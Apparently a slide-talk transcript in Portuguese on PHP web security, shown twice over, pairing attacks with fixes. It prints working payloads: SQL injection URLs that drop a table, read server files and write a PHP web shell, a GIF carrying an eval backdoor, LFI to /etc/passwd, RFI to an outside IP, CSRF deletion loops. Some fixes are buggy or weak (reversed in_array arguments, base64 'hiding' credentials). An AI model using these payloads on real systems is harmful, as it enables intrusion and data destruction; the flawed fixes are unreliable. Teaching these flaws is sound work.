Gustavo Almeida
Segurança em PHP
$whois
O mantra da segurança
Baseada em erro ou booleano
http://www.site.com/produto.php?id=’ or true; union all select 1,2 %23
http://www.site.com/produto.php?id=’ or true; order by 1 %23
http://www.site.com/produto.php?id=’ or true; drop table clientes;
http://www.site.com/produto.php?id=’ or true; union all select
1,load_file(“/etc/apache2/sites-available/000-default.conf”) %23
http://www.site.com/produto.php?id=’ or true; union all select 1,”<pre><?php
system($_GET[‘cmd’]) ?>” INTO OUTFILE “/var/www/html/pasta/backdoor.php”
%23
Consegui uma backdoor : http://www.site.com/pasta/backdoor.php?cmd=ls
Injeção SQL baseada em tempo
‘or sleep(2) %23
‘or sleep(5) %23
‘or if(true, sleep(2),0) %23
Se o browser demorar a responder indica vulnerabilidade
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
create user ‘usuario'@'%' identified by 'senha123';
grant select,insert,update on meubd.* to ‘usuario'@'%';
Lei do menor privilégio
Usuário de BD com permissão específica
Injeção em formulários de email
n ou %0A
mail($dest, $assunto,$msg,”From: $origem”);
origem=email@email.com%0ABcc:spam@email.c
om&assunto=modificado
Tirando proveito da tipagem
$id_a_ser_deletado = $_GET[‘id’]
$id_a_ser_deletado = (int) $_GET[‘id’]
(float)
(bool)
(array)
(object)
filter_var_***
filter_sanitize_
filter_validate_
(string)
$nome_a_ser_add = $_POST[‘nome’]
Tabela ascii
<?php eval($_GET[‘cmd’]);
ou
www.site.com/pagina.php?cmd=ls
Backdoor
Formulário de arquivos
imagens, pdf, txt
permissão de escrita
gifsicle < mygif.gif -- comment "<?php eval($_GET[‘cmd’]); ?>" > output.php3.gif
www.seusite.com/img/output.php3.gif?cmd=ls
#Level 1: checar apenas a extensao .jpg,.gif,etc
#Level 2: checar MIME type 'image/jpeg','image/png',etc
$file_info = getimagesize($_FILES['image_file'];
$file_mime = $file_info['mime'];
#Level 3: Leia por exemplo os primeiros 100 bytes e analisar caracteres correspondentes via ascii
#Level 4: checar por números mágicos (nao sei ainda oq é isso !!!)
#################### Minha Solução ###########################
#ressalvar a imagem checando se o GD retorna um resource if(is_resource($imagem))
$src = (resource) imagecreatefromstring(file_get_contents($url));
$dst = imagecreatetruecolor($width,$height);
imagecopyresampled($dst,$src,0,0,0,0,$width,$height,$size[0],$size[1]);
imagedestroy($src);
imagepng($dst,$target_filename_here);
imagedestroy($dst);
Código não testado
Formulário de arquivos
criptografia - rainbow tables
/mostrar_pedido.php?id=12345
hash - md5, sha1
/mostrar_pedido.php?id=JHGJF765HGJHG7978HGHHJKG
Posso ter todos os hashes possíveis com rainbow tables
cURL:
foreach($rainbows as $rainbow){
$pedidos[]=file_get_contents(‘/mostrar_pedido.php?id=’$rainbow);
}
Brute Force
Brute Force - limitar a X tentativas
senhas
1-CADASTRO.php
$senha = $_POST[‘senha’];
$hash_vai_para_bd = password_hash($senha, PASSWORD_BCRYPT);
$sql = “Insert into clientes …”;
2-LOGIN.php
$email = $_POST[‘email’];
$senha = $_POST[‘senha’];
$hash_do_bd = “select senha from clientes where email=? …….”
if(password_verify($senha,$hash_do_bd))
OK
2FA
XSS (armazenado e refletido)
testando com payload <script>alert(1)</script>
XSS (armazenado e refletido)
site.com.br/produto.php?id=<script>alert(‘xss’)</script>
site.com.br/produto.php?id=&lt;script&gt;alert(‘xss’)&lt;/script&gt; HTML
< %3C URL
> %3E
% %25
%253C
site.com.br/produto.php?id=%253Cscript%253Ealert(‘xss’)%253C/script%253E
htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers
DNS
.gitignore
robots.txt
Index of (apache)
config.php - shoulder surfing (espiada nos ombros)
define(‘LOGIN’,’fsd324A…==’);
define(‘SENHA’,’ghgh24A…==’);
$login=base64_decode(LOGIN);
$login=base64_decode(SENHA);
CSRF
POR GET OU POST
<img src=’site.com/admin/del.php?id=123’>
<img src=’site.com/admin/del.php?id=124’>
<img src=’site.com/admin/del.php?id=125’>
ou entao para quem usa MD5/SHA1 (sem salt)
for($i=1;$i<=10000;$i++)
echo “<img src=’site.com/admin/del.php?id=’.md5($i).”>”
Funcionários logados no
sistema através do controle por
$_SESSION
CSRF
if($_POST){
if($_SESSION[‘token’] != $_POST[‘token’]){
echo “erro csrf”;exit;
}
addCliente($_POST);
}
$_SESSION[‘token’] = random_bytes(64);
<input type=”hidden” name=”token” value=”<?=$_SESSION[‘token’]?>”>
LFI - Local File Inclusion
www.site.com/index.php?idioma=br
$idioma = $_GET[‘idioma’];
require “../lang/$idioma.php”;
www.site.com/index.php?idioma=../../etc/passwd0
Solução
$idiomas = [‘en’,’br’,’es’];
if(in_array($idiomas,$idioma))
require “../lang/$idioma.php”;
RFI - Remote File Inclusion
$incfile = $_REQUEST["file"];
include($incfile.".php");
www.site.com/index.php?file=http://192.23.44.55/virus
require include
Pasta Pública e Raiz
Path traversal - ../../../arquivo.php (Apache ou .htaccess Options -Indexes)
www.site.com/
Cookies e Sessions
Usar cookies em HTTPS - Certificado ssl grátis - https://letsencrypt.org/
Cuidado com fixação de sessão site.com.br/logado.php?PHPSESSIONID=553534h5h34g5g345hg3
● Use o parâmetro HTTPOnly para que javascript não acesse o arquivo txt do cookie
● setcookie("nome","valor","","", true);
● Use a função session_regenerate_id() após login/logout de seus usuários
#PREVENTING SESSION HIJACKING
#Prevents javascript XSS attacks aimed to steal the session ID
ini_set('session.cookie_httponly', 1);
#PREVENTING SESSION FIXATION
#Session ID cannot be passed through URLs
ini_set('session.use_only_cookies', 1);
#Uses a secure connection (HTTPS) if possible
ini_set('session.cookie_secure', 1);
Arquivos de log
Que tal fazer um script que monitora 24x7 seus logs e em
se tratando de algo suspeito envia um telegram para o
responsável ou bloqueia no exato momento da tentativa
de invasão com iptables
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/mysql/error.log
chmod +x /var/www/meubot.php
crontab -e
* * */1 * * /usr/bin/php -q /var/www/meubot.php >/dev/null 2>&1
Gustavo Almeida
https://goo.gl/1DbQum
github: lga37
slideshare: lga33
br.linkedin.com/in/lga37
$loop->stop();

Palestra de segurança em PHP - Hacking

  • 1.
  • 2.
  • 3.
    O mantra dasegurança
  • 6.
    Baseada em erroou booleano http://www.site.com/produto.php?id=’ or true; union all select 1,2 %23 http://www.site.com/produto.php?id=’ or true; order by 1 %23 http://www.site.com/produto.php?id=’ or true; drop table clientes; http://www.site.com/produto.php?id=’ or true; union all select 1,load_file(“/etc/apache2/sites-available/000-default.conf”) %23 http://www.site.com/produto.php?id=’ or true; union all select 1,”<pre><?php system($_GET[‘cmd’]) ?>” INTO OUTFILE “/var/www/html/pasta/backdoor.php” %23 Consegui uma backdoor : http://www.site.com/pasta/backdoor.php?cmd=ls
  • 7.
    Injeção SQL baseadaem tempo ‘or sleep(2) %23 ‘or sleep(5) %23 ‘or if(true, sleep(2),0) %23 Se o browser demorar a responder indica vulnerabilidade
  • 8.
  • 11.
    create user ‘usuario'@'%'identified by 'senha123'; grant select,insert,update on meubd.* to ‘usuario'@'%'; Lei do menor privilégio Usuário de BD com permissão específica
  • 12.
    Injeção em formuláriosde email n ou %0A mail($dest, $assunto,$msg,”From: $origem”); origem=email@email.com%0ABcc:spam@email.c om&assunto=modificado
  • 15.
    Tirando proveito datipagem $id_a_ser_deletado = $_GET[‘id’] $id_a_ser_deletado = (int) $_GET[‘id’] (float) (bool) (array) (object) filter_var_*** filter_sanitize_ filter_validate_ (string) $nome_a_ser_add = $_POST[‘nome’]
  • 17.
  • 18.
  • 19.
    Formulário de arquivos imagens,pdf, txt permissão de escrita gifsicle < mygif.gif -- comment "<?php eval($_GET[‘cmd’]); ?>" > output.php3.gif www.seusite.com/img/output.php3.gif?cmd=ls
  • 20.
    #Level 1: checarapenas a extensao .jpg,.gif,etc #Level 2: checar MIME type 'image/jpeg','image/png',etc $file_info = getimagesize($_FILES['image_file']; $file_mime = $file_info['mime']; #Level 3: Leia por exemplo os primeiros 100 bytes e analisar caracteres correspondentes via ascii #Level 4: checar por números mágicos (nao sei ainda oq é isso !!!) #################### Minha Solução ########################### #ressalvar a imagem checando se o GD retorna um resource if(is_resource($imagem)) $src = (resource) imagecreatefromstring(file_get_contents($url)); $dst = imagecreatetruecolor($width,$height); imagecopyresampled($dst,$src,0,0,0,0,$width,$height,$size[0],$size[1]); imagedestroy($src); imagepng($dst,$target_filename_here); imagedestroy($dst); Código não testado Formulário de arquivos
  • 21.
    criptografia - rainbowtables /mostrar_pedido.php?id=12345 hash - md5, sha1 /mostrar_pedido.php?id=JHGJF765HGJHG7978HGHHJKG Posso ter todos os hashes possíveis com rainbow tables cURL: foreach($rainbows as $rainbow){ $pedidos[]=file_get_contents(‘/mostrar_pedido.php?id=’$rainbow); }
  • 22.
  • 23.
    Brute Force -limitar a X tentativas
  • 24.
    senhas 1-CADASTRO.php $senha = $_POST[‘senha’]; $hash_vai_para_bd= password_hash($senha, PASSWORD_BCRYPT); $sql = “Insert into clientes …”; 2-LOGIN.php $email = $_POST[‘email’]; $senha = $_POST[‘senha’]; $hash_do_bd = “select senha from clientes where email=? …….” if(password_verify($senha,$hash_do_bd)) OK
  • 25.
  • 26.
    XSS (armazenado erefletido) testando com payload <script>alert(1)</script>
  • 27.
    XSS (armazenado erefletido) site.com.br/produto.php?id=<script>alert(‘xss’)</script> site.com.br/produto.php?id=&lt;script&gt;alert(‘xss’)&lt;/script&gt; HTML < %3C URL > %3E % %25 %253C site.com.br/produto.php?id=%253Cscript%253Ealert(‘xss’)%253C/script%253E htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
  • 29.
  • 31.
  • 33.
  • 34.
    config.php - shouldersurfing (espiada nos ombros) define(‘LOGIN’,’fsd324A…==’); define(‘SENHA’,’ghgh24A…==’); $login=base64_decode(LOGIN); $login=base64_decode(SENHA);
  • 35.
    CSRF POR GET OUPOST <img src=’site.com/admin/del.php?id=123’> <img src=’site.com/admin/del.php?id=124’> <img src=’site.com/admin/del.php?id=125’> ou entao para quem usa MD5/SHA1 (sem salt) for($i=1;$i<=10000;$i++) echo “<img src=’site.com/admin/del.php?id=’.md5($i).”>” Funcionários logados no sistema através do controle por $_SESSION
  • 36.
    CSRF if($_POST){ if($_SESSION[‘token’] != $_POST[‘token’]){ echo“erro csrf”;exit; } addCliente($_POST); } $_SESSION[‘token’] = random_bytes(64); <input type=”hidden” name=”token” value=”<?=$_SESSION[‘token’]?>”>
  • 37.
    LFI - LocalFile Inclusion www.site.com/index.php?idioma=br $idioma = $_GET[‘idioma’]; require “../lang/$idioma.php”; www.site.com/index.php?idioma=../../etc/passwd0 Solução $idiomas = [‘en’,’br’,’es’]; if(in_array($idiomas,$idioma)) require “../lang/$idioma.php”;
  • 38.
    RFI - RemoteFile Inclusion $incfile = $_REQUEST["file"]; include($incfile.".php"); www.site.com/index.php?file=http://192.23.44.55/virus
  • 39.
  • 40.
    Pasta Pública eRaiz Path traversal - ../../../arquivo.php (Apache ou .htaccess Options -Indexes) www.site.com/
  • 41.
    Cookies e Sessions Usarcookies em HTTPS - Certificado ssl grátis - https://letsencrypt.org/ Cuidado com fixação de sessão site.com.br/logado.php?PHPSESSIONID=553534h5h34g5g345hg3 ● Use o parâmetro HTTPOnly para que javascript não acesse o arquivo txt do cookie ● setcookie("nome","valor","","", true); ● Use a função session_regenerate_id() após login/logout de seus usuários #PREVENTING SESSION HIJACKING #Prevents javascript XSS attacks aimed to steal the session ID ini_set('session.cookie_httponly', 1); #PREVENTING SESSION FIXATION #Session ID cannot be passed through URLs ini_set('session.use_only_cookies', 1); #Uses a secure connection (HTTPS) if possible ini_set('session.cookie_secure', 1);
  • 42.
    Arquivos de log Quetal fazer um script que monitora 24x7 seus logs e em se tratando de algo suspeito envia um telegram para o responsável ou bloqueia no exato momento da tentativa de invasão com iptables /var/log/apache2/access.log /var/log/apache2/error.log /var/log/mysql/error.log
  • 43.
    chmod +x /var/www/meubot.php crontab-e * * */1 * * /usr/bin/php -q /var/www/meubot.php >/dev/null 2>&1
  • 46.
  • 47.